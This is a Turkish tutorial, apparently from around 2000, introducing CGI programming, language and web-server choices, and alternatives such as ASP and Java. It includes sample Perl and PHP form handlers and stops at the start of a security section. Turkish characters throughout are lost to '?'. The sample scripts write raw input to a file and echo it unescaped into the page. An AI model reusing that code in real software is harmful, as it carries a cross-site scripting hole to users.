CGI Uygulamalar?

Web geli?tiriciler dura?an sayfalardan, ak?ll? dinamik sayfalara geçmek istediklerinde, k?sa ad? CGI olan Common Gateway Interface teknolojisini geli?tirdiler
CGI nedir?

Bu geli?tiricilerin as?l istedi?i, Web sunucusu üzerinden sunucu taraf?nda programlar çal??t?rabilmekti. Bu yeni teknolojiye Common Gateway denilmesinin sebeplerinden en önemli üçü ?uydu:

  • CGI programlar? sunucudan ba??ms?z olmal?yd?
  • CGI programlar? hemen her dille yaz?labilmeliydi
  • Hemen her istemcide çal??abilmeliydi

Dolay?s?yla, CGI bir programlama dili de?ildir. Piyasadaki, bir girdiyi i?leyip, ç?kt? üretebilen her dil CGI programlar? geli?tirmek için kullan?labilir. Örne?in Perl, C, Python, Tcl, AppleScript, Shell script'leri geli?tirme için en çok tercih edilen dillerdir.

CGI programlar?nda temel fikir, uygulamalar?n mant?k katman?n?n, sunucu taraf?nda olu?turulmas?yd?.

CGI programlar?yla neler yap?labilir?

Bir CGI program? genel olarak ?u 4 ad?mdan geçer, ancak bunlar?n baz?lar? her uygulamada olmayabilir:

  • Kullan?c?dan bilgi alma
  • Al?nan verilerin bir veritaban?na i?lenmesi
  • ?stenen verilerin veritaban?ndan bir sorgu sonucu al?nmas?
  • Kullan?c?ya i?lenmi? bilgilerin gönderilmesi

Bu ad?mlar? kullanabilecek uygulama say?s? s?n?rs?z gibidir. Birkaç örnek vermek gerekirse:

  • Ö?rencilerin, isimleri ve numaralar?yla beraber almak istedikleri derslerin kodlar?n? bir Web sayfas?ndan girmesi, ve bunlar?n bir veritaban?na i?lenerek, ö?renci i?leri ve dan??manlar? taraf?ndan gözden geçirilmesi
  • Siteyi ziyaret eden ki?ilerin b?rakaca?? e-posta adreslerine, sitedeki yeniliklerin düzenli olarak postalanmas?
  • Ziyaretçilerin, site hakk?nda görü?lerini bildirebilece?i bir eri?im formu
  • Site hakk?nda anketler
  • Yerel a??n bir program taraf?ndan sürekli gözlenerek, sorunlar?n bir Web sayfas?nda gerçek zamanl? yay?nlanmas?
  • Site içi arama motorlar? (en kolaylar?ndan biri olmas?na ra?men hep ihmal edilen bir özelliktir)
  • Web tabanl? e-posta, haber öbekleri okuma/gönderme
  • Web tabanl? stok yönetimi, muhasebe, i? ak???, proje yönetimi vb (biraz zor olsa da)
  • ?çerik olu?turucular?n, Web sayfalar?n? sunucuya koymas? için, dosya yöneticisi tarz? bir arabirim (bir örne?i, ULAKB?M içinde kullan?lmaktad?r)

Hangi dili kullanmal?y?z?

Yukar?da belirtildi?i gibi, CGI programlar? için istenen birçok dil kullan?labilir. Ancak Internet geli?tiricilerinin kabul etti?i de facto standart Perl, arkas?ndan C'dir. Perl, neredeyse CGI'?n do?umundan beri kendine bu alanda pek rakip tan?mamaktayd?. Bunun birkaç sebebi vard?:

Perl'in Avantajlar?
  • Perl ö?renmesi kolay bir dildir (yine de baz? programc?lar kodlar?n? anla??lmas? çok zor ?ekilde yazmaktad?r).
  • Yukar?daki sebeple, dünya üzerinde birçok geli?tiricisi vard?r ve kar??la??lan sorunlar?n çözümünü Internet üzerinden bulmak kolayd?r.
  • Yine ayn? sebeple, varolan uygulamalar? geli?tirmek için, Perl bilen üniversite ö?rencileri, mühendisler vb birçok ki?i görevlendirilebilir.
  • CGI uygulamalar?nda en çok kar??la??lan görevlerden biri olan karakter dizilerinin i?lenmesi (string manipulation) için Perl çok güçlü bir dildir.
  • Kendini kabul ettirmi? olmas? nedeniyle, Perl için yaz?lm?? birçok modül bulunmaktad?r ve bunlar uzun zamand?r kullan?ld??? için kar??la??labilen birçok sorunun çözümü test edilmi? ve sa?lamla?m??lard?r.

Windows NT'nin dünyada genel yükseli?iyle birlikte, Perl/C CGI programlar?n?n kar??s?na ASP teknolojisi ç?km??t?r, ve h?zla yükselmi?tir. Temelde ASP, CGI'dan biraz farkl? da olsa (bkz. CGI'?n alternatifleri k?sm?) mant?k olarak, yine sunucu taraf?nda program çal??t?rmak amac?yla yarat?lm??t?. Ancak, Microsoft'dan memnun olmayan baz? geli?tiriciler, ASP'ye kar??l?k olarak, kaynak kodu aç?k olarak gelen PHP dilini yaratm??lard?r. PHP, kendisinden önceki dillerin en iyi özelliklerini toplamas? ve bir programc?n?n bekleyebilece?i birçok fonksiyonu haz?r olarak sunmas? nedeniyle, k?sa zamanda bir patlama yapm??, ve Netcraft'?n istatistiklerine göre yakla??k 1,400,000 sunucudan 400,000'inde çal???r olmu?tur. PHP'nin avantajlar?n? saymak gerekirse:

PHP'nin avantajlar?
  • Perl gibi, ö?renmesi kolay ve yaz?l?m? JavaScript ve Perl'e benzer bir dildir.
  • Internet üzerinde geli?tiricisi çoktur ve PHP'yle yaz?lm?? birçok paket çözüm, bedava olarak Internet'den indirilebilir.
  • Apache Web sunucusuyla çok iyi tümle?ikli?i nedeniyle, performans? yüksektir ve hem "Guru" geli?tiricilerin, hem de programlamaya yeni ba?layanlar?n i?ini çok kolayla?t?rmaktad?r.
  • PHP, ana hedefleri bedava, aç?k kaynak kod, sunucu taraf? çal??ma, benzer dillerdeki eksiklikleri giderme ve en önemlisi Hipermetin i?leme olan bir dildir. Zaten PHP ismi de PHP: Hypertext Preprocessor k?saltmas?ndan gelir.
  • PHP'ye eklenen özellikler, kullan?c?lar?ndan gelen istekler do?rultusunda olmaktad?r. Eklenmesini istedi?iniz bir özelli?in, geli?tiricilere bir e-posta atarak bir sonraki sürümde (ki bu 2-3 ay gibi s?kça olmaktad?r) dile bütünle?tirilmesini isteyebilirsiniz.

Genel olarak hangi dilin seçilece?i, asl?nda bir mühendislik problemi gibidir ve ?u sorular?n cevaplar?nda sakl?d?r:

  • Platform seçimi:
    Bu genel olarak bir i?letim sistemi ve Web sunucusu seçimidir. Baz? diller, i?letim sistemi seçildi?i anda d??ar?da kalmaktad?r. Örne?in, MacOS d???nda bir seçim yap?ld??? anda AppleScript de d??ar?da b?rak?lmaktad?r. Genel olarak Web sunucular?nda, sa?lad?klar? yüksek güvenlik ve sa?laml?k nedeniyle, Unix ve türevi i?letim sistemleri seçilmelidir. Örne?in, Solaris, HP-UX, Linux ve FreeBSD sunucu olarak en çok kullan?lan Unix sistemleridir.
  • Dil seçimi:
    Kendini kabul ettirmi? birçok dil, birden fazla i?letim sistemine ta??nm??t?r. Örne?in Perl ve C, varolan bütün i?letim sistemlerinde vard?r.
  • Uygulaman?n çal??t?r?lma s?kl???:
    E?er yaz?lacak uygulama, sunucunuzun bütün trafi?ini öni?lemden geçiriyorsa, ya da 1 gün içinde 100,000 gibi bir s?kl?kta çal??mak zorundaysa, yorumlanan (interpreted) diller yerine (Perl, Python, Tcl, PHP, kabuk programlar? vb) derlenen (compiled) dillerin (C/C++ vb) kullan?lmas? daha yerinde olur.
    Tersi durumu ele al?rsak, uygulamalar?n, sunucuya çok fazla yük bindirmeyece?i biliniyorsa, yorumlanan diller i?in daha k?sa sürede yap?lmas?n? sa?larlar, çünkü yorumlananan dillerin yap?s? genel olarak daha basittir. Ancak bu durumda dilin basitli?i nedeniyle kendine fazla güvenen acemi geli?tiricilerin hata yapma olas?l??? artar.
  • Örnek kodlar?n ve harici modüllerin bulunabilirli?i:
    Özellikle büyük uygulamalar?n yaz?l?m?nda, e?er bu i? için ay?rabilecek yeterli personeliniz yoksa, örnek kodlar çok i?inize yarayacakt?r. Bu kodlar? inceleyerek, program?n?za uygun k?s?mlar? kendi kodunuzun içine yap??t?rabilir, ya da teknikleri inceleyerek ilham alabilirsiniz. E?er program?n belli k?s?mlar?n? yazamayacak gibiyseniz, ya da dahas?, bu i?i yapan modüller piyasada mevcutsa, bu modülleri program?n?z?n içine tümle?tirebilirsiniz. Örne?in Java için, piyasada birçok haz?r modül bulunmaktad?r. Ayr?ca, bu modüller Internet üzerinden de ücretsiz olarak kullan?ma aç?lm?? olabilir. Özellikle Perl için konu?mak gerekirse, birçok kütüphane Internet'te mevcuttur. Bu modüllerin birço?u yukar?da da belirtildi?i gibi, uzun süredir kullan?mda oldu?u için, güvenirlikleri, milyonlarca kullan?c? taraf?ndan ve birçok farkl? durum için test edilmi?tir.
  • Sisteme tümle?tirme:
    Yeni yazaca??n?z programlar, sisteminizde bulunan di?er programlarla ileti?im kurmak zorundaysa, bu da dil seçiminizi etkileyecektir. Örne?in elinizde RMI üzerinden veri bekleyen bir Java program? varsa, bu programla CGI program?n?z aras?nda ba?lant? kurmak için sizin program?n?z? da Java'yla yazman?z ak?ll?ca olur. Bir C ya da Perl program?yla ?ans?n?z? denemek için, Java RMI tariflerine %100 uyan bir modül yazman?z gerekecektir.

Yorumlanan diller mi, derlenen diller mi?

Yorumlanan dillerin en büyük dezavantajlar?ndan biri kullan?c?dan gelen verilerin, komut sat?r?na aynen aktar?labilmesidir. Ayr?ca, bir dezavantaj da programlar?n kodlar?n?n ve çal???r hallerinin ayn? olmas?d?r, halbuki derlenen dillerde, çal??an program? ele geçiren biri kaynak kodunu ele geçirmedi?i için program? kolayca inceleyemez ve güvenlik deliklerini bulamaz. Son olarak, yorumlanan dillerin çal??ma h?z? derlenen dillere göre daha yava?t?r.

Derlenen dillerin h?zlar?na ra?men büyük dezavantaj? da daha uzun geli?tirme süresi, programa k?s?tl? ki?ilerin müdahalesi gibi sorunlard?r.

Ancak burada iki noktay? belirtmek gerekir, bu durum yava? yava? de?i?mektedir. Apache sunucusu için geli?tirilen mod_perl ve mod_php modülleriyle, yorumlanan diller sunucu taraf?ndan çok daha h?zl? çal??t?r?labilirler. Ayr?ca, perl'deki tainting gibi mekanizmalarla, güvenlik konusunda ciddi ad?mlar da at?lm??t?r ve komut sat?r?na gönderilen verilere k?s?tlamalar getirilebilir.

Dolay?s?yla, yorumlanan diller (art?k çok az) daha yava? olsa da, çok k?sa zamanda uygulama geli?tirilebilmeleri nedeniyle derlenen dillere tercih edilebilirler.

Hangi Web sunucular?nda CGI çal??t?rabiliriz?

Piyasadaki birçok Web sunucusu CGI programlar?n?n çal??t?r?lmas?na izin vermektedir. Belli ba?l?lar?:

  • Apache Web sunucusu:
    Internet » http://www.apache.org/
    Apache Software Foundation'?n geli?tirdi?i bu sunucu, temellerini NCSA'in Web sunucusundan alm??t?r, ancak zamanla artan ilgi nedeniyle, geli?tiriciler bu sunucuyu sürekli geli?tirmi?, site yöneticileri de hem bedava olmas?, hem birçok özelli?i desteklemesi, hem de performans?n?n iyi olmas? nedeniyle Apache'ye çok ra?bet göstermi?lerdir. Kaynak kodunun aç?k olmas? nedeniyle, güvenlik delikleri sadece kendi geli?tiricileri taraf?ndan de?il, 3. grup geli?tiriciler taraf?ndan da h?zla kapat?lmaktad?r. Birçok site, kaynak kodu kendilerine göre de?i?tirerek, ihtiyaçlar?na daha iyi cevap vermesini sa?lamaktad?r. Apache, CGI programlar?n?n çal??t?r?lmas? için de ideal ve h?zl? bir sunucudur. Ayr?ca, Java, XML, Perl, PHP gibi dillere, yükledi?i modüllerle yerle?ik destek (native support) de sunabilmektedir. 2.0 sürümüyle Apache'ye multi-threading özelli?i de eklenecektir. Bu nedenlerle Apache, ?u an dünyada %62 gibi bir pazar pay?na sahiptir.
  • Microsoft IIS:
    Internet » http://www.microsoft.com/iis/
    Microsoft, Windows NT makineleriyle bedava olarak da??tt??? IIS'le küçümsenmeyecek bir pazar pay?na kavu?mu?tur. ASP teknolojisinin (bkz. CGI'?n alternatifleri bölümü) de, IIS'in kabul görmesinde rolü olmu?tur. IIS, kolay kullan?m? ve epey yüksek performans?yla dikkat çekmektedir. Ayr?ca, Frontpage HTML düzenleyicisi için de yerle?ik destek sunmakta, ve bu düzenleyiciyle yaz?lm?? sayfalar?n sunucuya aktar?lmas? çok kolaya olmaktad?r. Ancak, IIS'in en büyük sorunlar?ndan biri kendisinden kaynaklanan güvenlik problemleri, di?eri de çal??mak zorunda oldu?u Windows i?letim sisteminden kaynaklanan problemleridir.
  • Netscape Enterprise ve Fasttrack sunucular?:
    Internet » http://www.iplanet.com/products/infrastructure/web_servers/
    Netscape, istemci taraf?nda ba?latt??? ate?i sürdürememesine ra?men, sunucu taraf?nda daha ba?ar?l? olmu?tur. Netscape sunucular?n?n iki sürümü vard?r ve her ikisi de varolan birçok i?letim sisteminde çal??abilirler. Bu ailenin birincisi, küçük firmalar ve Intranet'ler için tasarlanan Fasttrack'dir. Fasttrack, a?a??da da bahsedilen SSJS teknolojisiyle birlikte gelmektedir. Bütün yönetimi Web tabanl? bir arayüzden yap?labilmektedir. Abisi say?labilecek Enterprise (yeni ad?yla iPlanet Web Server) sa dura?an sayfa performans? yüksek, ancak CGI performans? ayn? oranda yüksek olmayan bir sunucudur. Ayr?ca birden fazla sanal alan?n (virtual domain) oldu?u bir ortamda performans? gittikçe dü?mektedir. Dünyadaki kullan?m aç?s?ndan, Apache ve IIS'in arkas?ndan, 3. s?radad?r. Her iki sunucu da multi-threaded çal??maktad?r.
  • WebSite Pro:
    Internet » http://www.oreilly.com/catalog/webpro2/
    O'Reilly firmas?n?n yazd??? birçok özelli?i destekleyen ancak yeterince taraftar toplayamam?? bir sunucudur. 2.0 sürümüyle beraber özel (custom) sunucu taraf? HTML etiketleri, ISAPI (Microsoft'un IIS için geli?tirdi?i bir API) deste?i, Java Server Pages ve Servlet, VBScript, JScript, Perl ve Python deste?i de sunmaktad?r. WebSite'?n benzeri olan IIS'in gerisinde kalmas?n?n en büyük nedeni, IIS'in bedava, WebSite'?nsa 800$ dolar civar?nda olmas?d?r. WebSite Pro üzerinde, CGI programlar? orta denebilecek bir performansda çal??maktad?r.
  • Zeus Web sunucusu:
    Internet » http://www.zeus.co.uk/
    Zeus, Web sunucusu, yan?na bile yakla??lamayan yüksek bir performans sunmaktad?r. CGI/Fast CGI, ISAPI, NSAPI, Servlet, RMI, Frontpage Eklentileri, 128 bit güvenlik vb gibi birçok teknolojiyi desteklemektedir. Zeus, son ara?t?rmalara göre pazar pay?n? gittikçe yükseltmektedir. 30 günlük bir deneme sürümü mevcuttur.

Örnek bir CGI program? neye benzer?

A?a??da ayn? program?n hem Perl hem de PHP kar??l?klar? vard?r. Kodlar, sadece tan?t?m amaçl? oldu?u için uzun tutulmam??t?r, ancak bir fikir verece?ini tahmin ediyorum.

Görev: Bir Web sayfas?ndaki formdan al?nan verinin bir düz metin dosyas?na eklenmesi.

Kullan?lan HTML kodu

<html>
<head>
  <title>Veri giri? formu</title>
  <meta http-equiv="Content-Type" content="text/html;
    charset=iso-8859-9">
</head>

<body>
  <form action="/cgi-bin/ilk-perl.pl">
    <p>?sminiz: <input type="text" name="isim">
    <p>E-postan?z: <input type="text" name="eposta">
    <p><input type="checkbox" name="yeniler" value="gonder">
      Yeni haberleri bana da gönder
    <p><input type="submit" value="Gönder">
  </form>
</body>
</html>

Perl çözümü (Dosya yerleri Unix, Linux vb için verilmi?tir):

#!/usr/local/bin/perl

# bu dosyanin ad? ilk-perl.pl olmal?, yukar?ya bak?n?z.

# perl programlar?nda 1. sat?r hariç, ba??nda # olan
# sat?rlar i?leme sokulmazlar
# bu yorum sat?rlar?, okunurlu?u artt?rmak içindir.

# 1. sat?rdaki komut, perl program?n?n diskte nerede
# durdu?unu belirtir, bu sat?r olmadan program?n?z çal??maz.


# istemciye gönderece?imiz ç?kt? ba?l?yor
# bu sat?rla istemciye bir HTML ç?kt?s? gönderdi?imizi
# belirtiyoruz, aksi takdirde istemci, HTML kodlar?n? da
# oldu?u gibi ekrana basar
print "Content-type: text/html\n\n";

# CIKTI_SONU karakterlerini görene kadar bütün her?eyi gönder
print <<CIKTI_SONU;
<html>
<head>
  <title>CGI ç?kt?s? üretiyoruz</title>
</head>
<body>
  <h4>Verdi?iniz bilgileri kaydediyorum, lütfen bekleyin</h4>

CIKTI_SONU

$depo = $ENV{'QUERY_STRING'};
@ciftler = split(/&/, $depo);

# verilerin tutulacagi dosyay? açmaya çal??, hata ç?karsa bas
# >> i?areti dosyan?n sonuna ekleme yap?laca??n? gösterir
# $! varsa dönen hatay? basar
open (VeriDosyasi, ">>/home/cu/veri.txt") or die "Dosyay? açam?yorum: $!";

# formdan gelen bilgilerin herbiri için...
foreach $cift (@ciftler){
  ($alan, $deger) = split(/=/, $cift);
  print VeriDosyasi "$alan=$deger\n";
  print "?u anda yaz?lan alan: $alan, de?eri:$deger<br>\n";
}

# dosyay? kapat
close (VeriDosyasi);

# kullan?c?ya te?ekkür et
print <<CIKTI_SONU;
  <p>Bilgileriniz ba?ar?yla kaydedildi, te?ekkür ederiz
</body>
</html>

CIKTI_SONU

# program?n sonu

PHP çözümü (Dosya yerleri Unix, Linux vb için verilmi?tir):

<?

// bu dosyay? ilk-php.php ad?yla kaydederseniz, yukar?daki
// html kodunda form action'? da ilk-php.php yapmal?s?n?z.

// php'deki yorumlar C++'a benzer
// hem tek sat?rl?k // yorumlar?
// hem de ve */ blok yorum ikilisini kullanabilirsiniz.


// asl?nda a?a??daki sat?ra PHP modül olarak kurulmu?sa
// gerek yoktur, PHP bunu otomatik olarak ekler
header("Content-type: text/html");

/*
   yukar?daki ve a?a??daki <? ve ?> ikilileri,
   php bloklar?n?n ba??n? ve sonunu ifade ederler.
*/
?>
<html>
<head>
  <title>CGI ç?kt?s? üretiyoruz</title>
</head>
<body>
  <h4>Verdi?iniz bilgileri kaydediyorum, lütfen bekleyin</h4>
<?
  // fopen'?n "a" parametresi, dosyan?n sonuna ekleme
  // yap?laca??n? belirtir
  $VeriDosyasi = fopen("/home/cu/veri.txt", "a");
  while (list ($alan, $deger) = each ($HTTP_GET_VARS)) {
    echo "?u anda yaz?lan alan: $alan, de?eri:$deger<br>\n";
    fwrite($VeriDosyasi, "$alan=$deger\n");
  }
  // dosyay? kapat
  fclose($VeriDosyasi);
?>

<!-- kullan?c?ya te?ekkür et -->
<p>Bilgileriniz ba?ar?yla kaydedildi, te?ekkür ederiz
</body>
</html>

<!-- program?n sonu -->

Her iki program da, aç?lan dosyaya ?una benzer 3 sat?r ekler:

Perl ç?kt?s?

PHP ç?kt?s?

isim=Cuneyt%20Y?lmaz
eposta=cu%40ulakbim.gov.tr
yeniler=Gönder

isim=Cuneyt Y?lmaz
eposta=cu@ulakbim.gov.tr
yeniler=Gönder

Perl'den farkl? olarak PHP, otomatik olarak % i?aretleriyle ?ifrelenen (URL encoded) karakterleri orjinalleriyle de?i?tirir. Yani cu%40ulakbim.gov.tr -> cu@ulakbim.gov.tr olur.

Perl için söylenebilecek önemli bir husus, hemen her Perl programc?s?n?n kendi stilini geli?tirebilme esnekli?idir. Yukar?da verilmi? Perl kodu, istenen i?i yapan tek Perl program? de?ildir, sadece tan?t?m amac?yla yaz?lm??t?r.

Yukar?da gizli ?ekilde belirtildi?i gibi, her CGI program? ç?kt?s?na bir ba?l?k eklemek ve ç?kt?n?n MIME tipini belirtmek zorundad?r, ör. Content-type: text/html ya da Content-type: image/gif gibi. Bu ?ekilde, istemcinin taray?c?s? gelen veriyi ne ?ekilde ekrana dökece?ini bilecektir.

Nelere dikkat etmeliyiz?

CGI programlar?nda genel olarak unutulan en önemli husus, i?lenen verinin ham veri de?il, bir kullan?c?n?n girdi?i bilgiler oldu?udur. Dolay?s?yla programc? kar?? tarafta rastgele bir bilgi kayna?? de?il, bir insan oldu?unu hat?rlamal?d?r.

  • Güvenlik:
    CGI programlar? Web sunucusunun çal??t??? makineyi normale göre daha güvensiz hale getirebilir. Internet'te bulunan birçok makine CGI programlar?n?n güvenlik delikleri nedeniyle k?r?lm??t?r ya da geçici süreler için i?lemez hale getirilmi?tir. Dikkat edilmesi gereken hususlar Web sitesinin ve CGI programlar?n?n güvenli?i belgesinde anlat?lm??t?r.
  • H?z ve bellek kullan?m?:
    Programlar?n?z? yazarken mümkün oldu?u kadar h?zl? çal??mas? ve az bellek kullanmas? için eniyile?tirme (optimization) yapmal?s?n?z. Makineniz, 1 istemci için gerekli CGI program?n? çal??t?r?rken, di?er 10 istemcinin iste?ini bekletmemelidir.
  • Ta??nabilirlik:
    Uygulamalar?n?z? yazarken mümkün oldu?u kadar kullan?lan i?letim sistemi ve Web sunucudan ba??ms?z olmas?na dikkat ediniz. Bu ?ekilde, günün birinde kulland???n?z i?letim sistemi veya sunucuyu de?i?tirmek zorunda kald???n?zda (bu yava?l?k, sistemin çok aç??? olmas?, yeni sürümlerin ç?kmas?, bir göçme durumunda yedek sunucuya aktarma vb yüzünden olabilir) programlar?n?z? küçük de?i?ikliklerle çal??t?rman?z mümkün olur.
  • Kodlar? tekrar kullan?m (Code reusability):
    Uygulaman?z birden fazla program kullan?yorsa, ortak parçalar?n? tek bir modül alt?nda toplamaya çal???n?z. Bu ?ekilde hem kodlar?n yönetimi daha kolay olur, hem de baz? kritik hatalar? her programc?kta düzeltmeniz gerekmez. Aksi takdirde, bir programda kapatt???n?z bir hata, ba?ka bir programda düzeltilmemi? haliyle kalabilir.
  • Hatas?z (Bug-free) programlar ve S?nama a?amas?:
    Program?n?z? d?? dünyaya açmadan önce mutlaka olarak, programc?lar?n d???nda s?namac?lara veriniz. Bu ?ekilde programc?lar?n fark edemedi?i hatalar?, bu ki?iler bulabilirler. Bu hatalar, güvenlik delikleri açabilece?i gibi istemciye istenmeyen ç?kt?lar göndebilir ya da veri taban?ndaki bilgilerin bütünlü?ünü bozabilir. Ayr?ca programlar?n?zda verdi?iniz de?i?ken kapasitelerinin üzerinde de?erler vererek, program?n?z?n beklenmedik durumlarda nas?l davrand???n? inceleyiniz.
  • Siteye bütünle?tirme:
    Mümkünse CGI uygulamalar?n?z? sitenizin genel görünümünü bozmayacak ç?kt?lar üretecek ?ekilde programlay?n?z. Bunu yaparken ?ablonlama sistemi kullan?rsan?z, sitenizin görünümü de?i?ti?inde, CGI uygulamalar?n?z? yeni görünüme kolayca adapte edebilirsiniz.

CGI'?n alternatifleri nelerdir?

Asl?nda CGI'?n birçok "alternatifi" vard?r. Bunlar?n bir k?sm? temel olarak CGI prensibiyle çal??mas?na ra?men, farkl? isimler alm??lard?r. Bu nedenle a?a??daki teknolojileri, CGI'dan farkl? nitelendirmemin sebebi, genel olarak CGI dendi?inde Apache/Perl ya da Apache/C ikililerinin kastediliyor olmas?d?r.

  • SSJS - ServerSide JavaScript:
    Netscape firmas?n?n ilk defa Livewire ürünüyle birlikte ortaya att??? bir teknolojidir. ?stemci taraf?nda çal??an ve büyük kabul gören JavaScript dilinin sunucu taraf?nda da çal??abilir bir sürümüdür. Programlar, sunucu taraf?nda HTML sayfalar?na gömülebilen JavaScript kodlar?ndan olu?ur. Sunucu, bu kodlar? yorumlar, ç?kt?y? üretir ve istemciye saf HTML kodu gönderir.
    Internet » http://developer.iplanet.com/tech/ssjs/
    • Art?lar?: ?stemci taraf?nda çal??an JavaScript'ün tüm özellikleri yan?s?ra, dosya okuma/yazma ve geli?mi? oturum yönetimi (session management) fonksiyonlar? sa?lar. Veritaban? ba?lant?s? olarak ODBC, Oracle, Informix ve Sybase arabirimleri sa?lar. Birçok Unix ve Windows sunucu ortamlar?nda çal??abilir.
    • Eksileri: Uygulamalar, site genelinde çal??t?r?lamaz. Her uygulaman?n kendine has bir dizini olmal?d?r, ve sadece Netscape Web sunucular?nda (Netscape Fasttrack, Enterprise Server, yeni ad?yla iPlanet Web Server vb) çal??abilir. Her ne kadar derlense de SSJS de ayn? JavaScript gibi yorumlanan bir dildir. Ayr?ca, uygulamalar?n çal??t?r?lmadan önce derlenmesi ve yönetim konsolundan tekrar ba?lat?lmas? gerekir.
  • ASP - Active Server Pages:
    Microsoft firmas?n?n ayn? SSJS gibi sunucu taraf?nda çal??an script dili çözümüdür. ASP de belli bir programlama diline ba?l? de?ildir, IIS üzerinde çal??t?r?labilen her dili kullanabilir.
    Internet » http://msdn.microsoft.com/
    • Art?lar?: ASP, SSJS'den farkl? olarak kendisi için aktar?lan her dille (ör. JavaScript, JScript, VBScript, hatta gerekli modüller kurulursa Perl, PHP vb) geli?tirilebilir. Uygulamalar gerekirse bile?en (component) haline getirilebilir ve di?er uygulamalar içinden ça??r?labilir. Ayr?ca, ASP programlamaya, Windows NT i?letim sistemiyle gelen IIS sunucusunu kurar kurmaz ba?layabilirsiniz.
    • Eksileri: Sadece Microsoft'un Web sunucular?nda çal???r, ve Windows NT ve türevlerine ba??ml?d?r. ASP de SSJS gibi yorumland??? için yerle?ik koddan (native code) yava? çal???r. ?u aralar geli?tirilmeye çal???lsa da, Apache Web sunucusunda çal??mamaktad?r. (Visual Studio 6.0 içindeki) 2.0 sürümü itibariyle CORBA, SMTP, POP, IMAP, LDAP ve XML deste?i yoktur.
  • Lotus Notes/Domino:
    IBM-Lotus firmas?n?n önceleri Groupware için geli?tirdi?i, sonradan Internet ortam?na uyarlamaya çal??t??? h?zl? uygulama geli?tirme platformudur. Kendisine has bir döküman yönetim sistemine sahiptir,ve k?s?tl? da olsa bir veritaban? gibi kullan?labilir.
    Internet » http://www.lotus.com/
    • Art?lar?: Lotus Notes/Domino, geli?tiricilere basitle?tirilmi? bir arabirim sunar ve birçok uygulama, klavyeye dahi dokunmadan yaz?labilir. Ayr?ca, Domino sunucu ailesinde birçok paket çözümler sunulmaktad?r.
    • Eksileri: Lotus Notes, öncelikle kendi içine kapal? bir sistemdir. Uygulama geli?tiricilerin, sunucuda birçok alana müdahalesi, veritaban?ndaki bilgileri SQL uyumlu bir ba?ka veritaban?na aktarmas? zordur. Genel olarak, Intranet uygulamalar?na yönelik oldu?u için Extranet'lerin baz? taleplerini kar??layamamaktad?r. Son olarak, baz? uygulamalar, Web taray?c?lar?nda çal??mamaktad?r, bu uygulamalar için Lotus Notes istemcisi kullan?lmak zorundad?r.
  • ColdFusion:
    Internet »
    Allaire firmas?n?n üzerinde dikkatlice dü?ünerek piyasaya sundu?u bir sunucu taraf? uygulama geli?tirme platformudur. ColdFusion uygulamalar? ASP ve SSJS gibi, HTML dosyalar?n?n içine yerle?tirilen ColdFusion etiketleri kullan?larak yaz?l?r, bu dile de CFML (ColdFusion Markup Language) denilmi?tir.
    Internet » http://www.allaire.com/Products/ColdFusion/
    • Art?lar?: ColdFusion, Windows NT haricinde, belli ba?l? Unix i?letim sistemlerinde de çal??abilir ve programlar? sorunsuzca aktar?labilir. Ayr?ca, SQL, IMAP, POP, SMTP, LDAP, CORBA, XML destekleri yan?nda, Sunucu kümeleme (server clustering), varolan Web sunucusuna (ör. Apache) entegrasyon, CGI, ISAPI, NSAPI gibi teknolojilere de destek vermektedir. Son olarak, piyasadaki en iyi HTML düzenleyicilerinden Homesite'la iyi bir bütünle?ikli?i vard?r.
    • Eksileri: Yüksek maliyet (Haziran 2000 itibariyle 4995$), Unix sürümünün zaman zaman göçmesi ve zay?f bellek yönetimi.
  • JAVA:
    Sun Microsystems firmas?n?n Internet'de devrim yaratan dili. As?l olarak, ta??nabilir cihazlar (avuçiçi bilgisayarlar, cep telefonlar? vb) ve elektronik aletlerde (televizyon, çama??r makinesi, müzik seti vb) kullan?lmak üzere tasarland??? için platform-ba??ms?zl??? en büyük vaatlerinden biridir. Ancak, daha sonra hedef büyütülerek, Java önce istemci taraf?nda çal??abilir bir hale, sonra da sunucu taraf?nda çal??abilir bir hale getirilmi?tir.
    Internet » http://java.sun.com/
    • Art?lar?: Java her?eyden önce platform-ba??ms?zd?r. Yaz?lan uygulamalar, i?letim sistemi de?i?tirilse de hiçbir de?i?iklik yap?lmadan yenisinde de çal??abilir. Java, NYP-Nesne Yönelimli Programlama (Object Oriented Programming)'ya dayanan bir dil oldu?u için NYP'nin tüm avantajlar?n? ta??r. Dolay?s?yla ö?renme süreci, NYP'ye tan?d?k olanlar için çok yüksektir ve Internet üzerinde geni? bir destekçi kitlesi vard?r. Bu nedenle yeni programlar?n geli?tirilmesi çok h?zl? olmaktad?r. Java, zamanla geli?tirilerek Java Server Pages (JSP) ve Servlet (Server ve Applet kelimelerinden türetme) teknolojilerini destekler hale gelmi?tir. JSP, ASP'ye çok benzeyen bir teknolojidir. Ayruca, daha önce yaz?lm?? Java, programlar?n yenilerine bütünle?tirilmesi de çok kolay olmaktad?r. Piyasada, hemen her tür iste?i kar??layabilecek modüller bulunmaktad?r.
    • Eksileri: Java, iddia edebildi?i ?eylerin hemen hepsini yapabilmesine ra?men, halen çok yava?t?r. Özellikle derlenmi? kodlara göre 20:1 gibi bir fark olu?maktad?r. Ayr?ca, Internet taray?c?lar?n?n, özellikle Netscape Communicator ve Internet Explorer'?n, Java destekleri birbirinden farkl? oldu?u için, geli?tiriciler istemci taraf? çal??an uygulamalar?nda s?k?nt? çekmektedirler. Bu normal olarak, sunucu taraf?n? etkilemese de, iki taraf?n aras?ndaki ileti?imin istemci taraf? Java'ya dayand?r?lmamas? ak?lc? olur.

Web Sitesi ve CGI Uygulamalar?n?n Güvenli?i

Çok kar??la??lan bir durum: sitenizi geli?tirirken, veritabanlar?ndan bilgi alma, onlara yazma gibi gereksinimleriniz do?du. Bunun için de CGI uygulamalar?n?z? yazd?n?z. Ve bir gün Web sunucusuna ba?lanmaya çal??t???n?zda makineye birilerinin girdi?ini, "kötü bir?eyler" yapt???n? farkettiniz.

Bu bir senaryodan çok, s?kça kar??la??lan bir durumdur. Bir bilgisayar?n güvenlik riskleri fi?i tak?ld??? andan itibaren ba?lad??? halde, güvenlik hala ihmal edilmektedir. Bunun birkaç sebebini saymak gerekirse:

  • Yetersiz bilgi
  • Makinenin k?r?lamaz oldu?unu varsayma
  • Hiç kimsenin sizin sunucunuzla u?ra?maya tenezzül etmeyece?i dü?üncesi
  • Programlar? yazarken yeterlice s?namama
  • Tembellik

Güvenlik deliklerinin ba?l?ca sebepleri:

